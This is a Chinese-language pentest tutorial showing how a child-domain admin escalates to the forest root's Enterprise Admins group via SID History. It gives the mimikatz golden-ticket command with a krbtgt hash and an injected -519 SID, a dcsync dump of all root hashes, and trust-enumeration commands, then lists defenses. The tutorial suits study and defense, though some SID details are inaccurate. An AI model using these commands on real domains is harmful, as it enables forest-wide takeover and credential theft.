渗透测试之子域到父域的横向移动(Sid History)
前言
本文接上篇文章探究子域如何橫向移動到父域的Enterprise Admin組,并給出防御方法。
Enterprise Admins組
在父子域中,最重要的莫過于Enterprise Admins組了,并且該組只存在于林根域中,其成員有權管理林內的所有域,這是因為在添加子域后,Enterprise Admins組會自動添加到林中每個域中的Administrators組成員中。但是該組在其他域樹中是不存在的,所以在子域中是看不到有Enterprise Admins組。本文也是基于Enterprise Admins組來提權。
跨域訪問流程
用戶在登錄某臺客戶機的時候,系統必須驗證用戶的身份,除了賬號密碼之外,還會為用戶建立一個access
token(訪問令牌),其中包含用戶賬戶的SID、用戶所隸屬的所有組的SID等數據。當用戶取得access
token后,如果他要訪問計算機內的資源時,便會出示access token,而系統會根據access
token內的SID數據來決定用戶擁有何種權限。 同理當用戶連接網絡上其他計算機時,這臺計算機也會為該用戶建立一個access
token,當用戶需要訪問資源的時候,便會出示access token,這臺計算機便會根據出示的access
token的SID數據,來決定用戶擁有何種的訪問權限
SID History
根據微軟的解釋,SID History 是一個支持遷移方案的屬性,每個用戶帳戶都有一個關聯的安全標識符
(SID),用于跟蹤安全主體和帳戶在連接到資源時的訪問權限。SID
歷史記錄允許將另一個帳戶的訪問有效地克隆到另一個帳戶,并且對于確保用戶在從一個域移動(遷移)到另一個域時保留訪問權限非常有用。
而一個賬戶可以在SID-History Active Directory 屬性中保存額外的 SID
,從而允許域之間進行可相互操作的帳戶遷移(例如,SID-History 中的所有值都包含在訪問令牌中)。 為了達到SID
History攻擊的目的,我們的將使用域管理員權限,將獲取到的有權限的SID值插入到SID歷史記錄中,以實現模擬任意用戶/組(例如Enterprise
Admins)的權限,達到跨域提權目的。
枚舉域信任
1、用全局編錄的方式進行域信任查看
Get-DomainTrust -SearchBase “GC://(((ENV:USERDNSDOMAIN)”
2、使用powershell展現一個域信任關系
Get-ADTrust -Filter *
3、使用windows自帶命令查看
nltest /domain_trusts
從上面的命令可以看出來,父域和子域是存在雙向的信任關系
環境準備
本地環境使用到的是windows server2016
主域:dpl.com
子域:ziyu.dpl.com
假設已經拿到子域域控的權限,接下來我要拿根域的權限
從子域到父域的EA組提權利用(Sid History)
Sid History攻擊需要:
1、域名稱(GET-ADDomain)
2、域的SID值(GET-ADDomainSID)
3、域的KRBTGT賬戶的hash(mimitakz)
4、偽造用戶名(administrator)
5、根域EA組的ObjectID(Convert-NameToSid)
一、利用powerview+mimikatz完成攻擊利用
Ⅰ、使用Sid History完成對父域的提權
①獲取子域名稱
Get-Domain或ipconfig /all
②獲取子域的SID值
Get-DomainSID
③獲取子域KRBTGT的hash
sekurlsa::krbtgt
④獲取根域EA組的ObjectID
Convert-NameToSid dpl\krbtgt
Ⅱ、SID介紹
SID用于唯一標識安全主體或安全組,以S-1-5-21-1315137663-3706837544-1429009142-502為例
表示字符串為SID(S)
修訂級別(1)
標識符頒發機構 (5,NT Authority)
域標識符(21-1315137663-3706837544-1429009142)
相對標識符RID(krbtgt 502)
常見的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)
而完成Sid History攻擊需要修改其RID,獲取到krbtgt的SID后,將502修改為519,也就是Enterprise Admins組
格式:mimikatz kerberos::golden /user:administrator /domain: /sid: /krbtgt:<KRBTGT_HASH> /sids:-519 /ptt
/user – 需要模擬的用戶名,本例中為administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密碼hash
/sids – AD 林中帳戶/組的 SID,能獲取高權限的ticket,本例中為Enterprise Admins組
/ptt – 將偽造的票據注入內存以供使用
Ⅲ、使用mimikatz完成攻擊
訪問根域是拒絕
命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt
用主機名訪問,不然會出錯,訪問父域成功
使用mimikatz導出根域的hash
lsadump::dcsync /domain:dpl.com /all /csv
防御方法
1、合法帳戶遷移完成后清除 SID-History 屬性
a.標識帳戶的 SIDHistory 屬性中的 SID。
Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
b.使用前面標識的 SID 刪除 SIDHistory 屬性
Set-ADUser -Identity -Remove @{SIDHistory=‘S-1-5-21-…’}
2、使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory
netdom trust /domain: /EnableSIDHistory:no
3、使用 netdom 工具(在域控制器上)將 SID 過濾器隔離應用于外部信任
netdom trust /domain: /quarantine:yes
【看得懂嗎,看不懂點】
總結
以上是生活随笔為你收集整理的渗透测试之子域到父域的横向移动(Sid History)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php内核分析-fpm和df的问题思考
- 下一篇: Padding Oracle Attac